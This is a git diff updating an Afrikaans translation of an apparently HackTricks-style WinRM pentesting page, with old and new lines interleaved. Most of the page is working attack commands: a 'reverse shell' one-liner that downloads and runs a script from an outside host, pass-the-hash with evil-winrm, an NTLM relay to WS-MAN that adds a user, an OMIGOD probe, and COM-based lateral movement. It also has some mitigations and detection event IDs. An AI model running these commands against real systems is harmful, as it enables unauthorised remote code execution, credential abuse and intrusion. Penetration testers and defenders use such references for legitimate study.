Translated ['src/network-services-pentesting/5985-5986-pentesting-winrm.

This commit is contained in:
Translator 2025-08-13 16:15:21 +00:00
parent 6194a54845
commit 6039ad9744

View File

@ -4,18 +4,18 @@
## WinRM ## WinRM
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) word beklemtoon as 'n **protokol deur Microsoft** wat die **afstandbestuur van Windows-stelsels** deur HTTP(S) moontlik maak, met SOAP in die proses. Dit is fundamenteel aangedryf deur WMI, wat homself as 'n HTTP-gebaseerde koppelvlak vir WMI-operasies aanbied. [Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) word beklemtoon as 'n **protokol deur Microsoft** wat die **afgeleë bestuur van Windows-stelsels** deur HTTP(S) moontlik maak, met SOAP in die proses. Dit is fundamenteel aangedryf deur WMI, wat homself as 'n HTTP-gebaseerde koppelvlak vir WMI-operasies aanbied.
Die teenwoordigheid van WinRM op 'n masjien maak dit moontlik om eenvoudige afstandadministrasie via PowerShell te doen, soortgelyk aan hoe SSH vir ander bedryfstelsels werk. Om te bepaal of WinRM werksaam is, word dit aanbeveel om na die opening van spesifieke poorte te kyk: Die teenwoordigheid van WinRM op 'n masjien maak dit moontlik vir eenvoudige afgeleë administrasie via PowerShell, soortgelyk aan hoe SSH vir ander bedryfstelsels werk. Om te bepaal of WinRM werksaam is, word dit aanbeveel om na die opening van spesifieke poorte te kyk:
- **5985/tcp (HTTP)** - **5985/tcp (HTTP)**
- **5986/tcp (HTTPS)** - **5986/tcp (HTTPS)**
'n Geopende poort uit die lys hierbo dui aan dat WinRM opgestel is, wat pogings om 'n afstandsessie te begin, toelaat. 'n Geopende poort uit die bogenoemde lys dui aan dat WinRM opgestel is, wat pogings om 'n afgeleë sessie te begin, toelaat.
### **Inisieer 'n WinRM-sessie** ### **Inisieer 'n WinRM-sessie**
Om PowerShell vir WinRM te konfigureer, kom Microsoft se `Enable-PSRemoting` cmdlet in die spel, wat die rekenaar opstel om afstand PowerShell-opdragte te aanvaar. Met verhoogde PowerShell-toegang kan die volgende opdragte uitgevoer word om hierdie funksionaliteit in te stel en enige gasheer as vertrou te merk: Om PowerShell vir WinRM te konfigureer, kom Microsoft se `Enable-PSRemoting` cmdlet in die spel, wat die rekenaar opstel om afgeleë PowerShell-opdragte te aanvaar. Met verhoogde PowerShell-toegang kan die volgende opdragte uitgevoer word om hierdie funksionaliteit in te stel en enige gasheer as vertrou te verklaar:
```bash ```bash
Enable-PSRemoting -Force Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts * Set-Item wsman:\localhost\client\trustedhosts *
@ -60,7 +60,7 @@ Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration}
```bash ```bash
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta] Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
``` ```
### Kry omgekeerde dop ### Kry omgekeerde-shel
```bash ```bash
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"} Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
``` ```
@ -93,7 +93,7 @@ Om PS Remoting en WinRM te gebruik, maar die rekenaar is nie gekonfigureer nie,
```bash ```bash
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force" .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
``` ```
### Stoor en Herstel sessies ### Saving and Restoring sessions
Dit **sal nie werk nie** as die **taal** op die afstandrekenaar **beperk** is. Dit **sal nie werk nie** as die **taal** op die afstandrekenaar **beperk** is.
```bash ```bash
@ -115,7 +115,7 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
As jy die volgende fout vind: As jy die volgende fout vind:
`enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.` `enter-pssession : Verbinding met die afstandsbediener 10.10.10.175 het gefaal met die volgende foutboodskap : Die WinRM-kliënt kan nie die versoek verwerk nie. As die verifikasieskema verskil van Kerberos, of as die kliëntrekenaar nie aan 'n domein gekoppel is nie, moet HTTPS-vervoer gebruik word of die bestemmingsmasjien moet by die TrustedHosts-konfigurasie-instelling gevoeg word. Gebruik winrm.cmd om TrustedHosts te konfigureer. Let daarop dat rekenaars in die TrustedHosts-lys moontlik nie geverifieer word nie. Jy kan meer inligting daaroor kry deur die volgende opdrag uit te voer: winrm help config. Vir meer inligting, sien die about_Remote_Troubleshooting Help onderwerp.`
Die poging op die kliënt (inligting van [hier](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)): Die poging op die kliënt (inligting van [hier](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
```ruby ```ruby
@ -138,7 +138,7 @@ crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable' crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm #Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
``` ```
### Gebruik evil-winrm ### Gebruik van evil-winrm
```ruby ```ruby
gem install evil-winrm gem install evil-winrm
``` ```
@ -148,7 +148,7 @@ evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
``` ```
Om evil-winrm te gebruik om met 'n **IPv6 adres** te verbind, skep 'n inskrywing binne _**/etc/hosts**_ wat 'n **domeinnaam** aan die IPv6 adres toewys en verbind met daardie domein. Om evil-winrm te gebruik om met 'n **IPv6 adres** te verbind, skep 'n inskrywing binne _**/etc/hosts**_ wat 'n **domeinnaam** aan die IPv6 adres toewys en verbind met daardie domein.
### Pas die hash met evil-winrm deur ### Oordra die hash met evil-winrm
```ruby ```ruby
evil-winrm -u <username> -H <Hash> -i <IP> evil-winrm -u <username> -H <Hash> -i <IP>
``` ```
@ -220,8 +220,73 @@ end
- `port:5985 Microsoft-HTTPAPI` - `port:5985 Microsoft-HTTPAPI`
---
## Onlangse Kwetsbaarhede & Aanvallende Tegnieke (2021-2025)
### NTLM relay direk na WinRM (WS-MAN)
Sedert Impacket 0.11 (Mei 2023) kan `ntlmrelayx.py` gevangen NTLM-akkrediteerlinge regstreeks na 'n **WS-MAN**/WinRM luisteraar relay. Wanneer 'n gasheer steeds luister op **ongemerkte HTTP (5985)** kan 'n aanvaller *mitm6* (of *Responder*) kombineer om outentisering af te dwing en SYSTEM-vlak kode-uitvoering te verkry:
```bash
sudo ntlmrelayx.py -t wsman://10.0.0.25 --no-smb-server -smb2support \
--command "net user pwned P@ssw0rd! /add"
```
Mitigaties
* Deaktiveer HTTP luisteraars `Set-Item WSMan:\localhost\Service\EnableCompatibilityHttpListener -Value false`
* Dwing HTTPS af en aktiveer Uitgebreide Beskerming vir Verifikasie (EPA) op onlangse Windows weergawes.
### OMIGOD CVE-2021-38647 (Azure OMI)
Azure Linux agente gebruik die **Open Management Infrastructure (OMI)** diens wat die WinRM/WS-MAN API op poorte **5985/5986** blootstel. 'n Logiese fout het **onaangekondigde RCE as root** toegelaat:
```text
curl http://victim:5985/wsman -H 'Content-Type:text/xml' -d '<xml />'
```
Patch of verwyder OMI (weergawe ≥ 1.6.8-1) en blokkeer daardie poorte vanaf die Internet.
### WSMan.Automation COM misbruik vir laterale beweging
WinRM kan sonder PowerShell gedryf word via die `WSMan.Automation` COM objek nuttig op stelsels in Beperkte-Taal modus. Gereedskap soos *SharpWSManWinRM* verpak hierdie tegniek:
```powershell
$ws = New-Object -ComObject 'WSMan.Automation'
$session = $ws.CreateSession('http://srv01:5985/wsman',0,$null)
$cmdId = $session.Command('cmd.exe',@('/c','whoami'))
$session.Signal($cmdId,0)
```
Die uitvoeringsketting (`svchost → wmiprvse → cmd.exe`) is identies aan klassieke PS-Remoting.
---
## Gereedskap opdaterings
* **Evil-WinRM v3.x (2024)** ondersteun nou **Kerberos** (`-k` / `--spn`) en **sertifikaat-gebaseerde** verifikasie (`--cert-pem`/`--key-pem`), sessielogging (`-L`) en die vermoë om afstandspad voltooiing te deaktiveer (`-N`).
```bash
RHOST=10.0.0.25 evil-winrm -i $RHOST -u j.doe -k --spn HTTP/$RHOST
```
* **Python `pypsrp` 0.9 (2024)** bied WinRM & PS-Remoting vanaf Linux, insluitend CredSSP en Kerberos:
```python
from psrp.client import Client
c = Client('srv01', username='ACME\\j.doe', ssl=True)
print(c.execute_cmd('ipconfig /all').std_out.decode())
```
* **Detectie** monitor die **Microsoft-Windows-WinRM/Operational** log:
* Gebeurtenis 91 / 163 skulp geskep
* Gebeurtenis 182 verifikasiefout
* In die Sekuriteit log registreer gebeurtenis 4262 die bron IP (bygevoeg Julie 2022 CUs).
Versamel hierdie sentraal en waarsku oor anonieme of eksterne IP's.
---
## Shodan
- `port:5985 Microsoft-HTTPAPI`
## Verwysings ## Verwysings
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
- [https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/](https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/)
- [https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure](https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure)
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/) - [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
## HackTricks Outomatiese Opdragte ## HackTricks Outomatiese Opdragte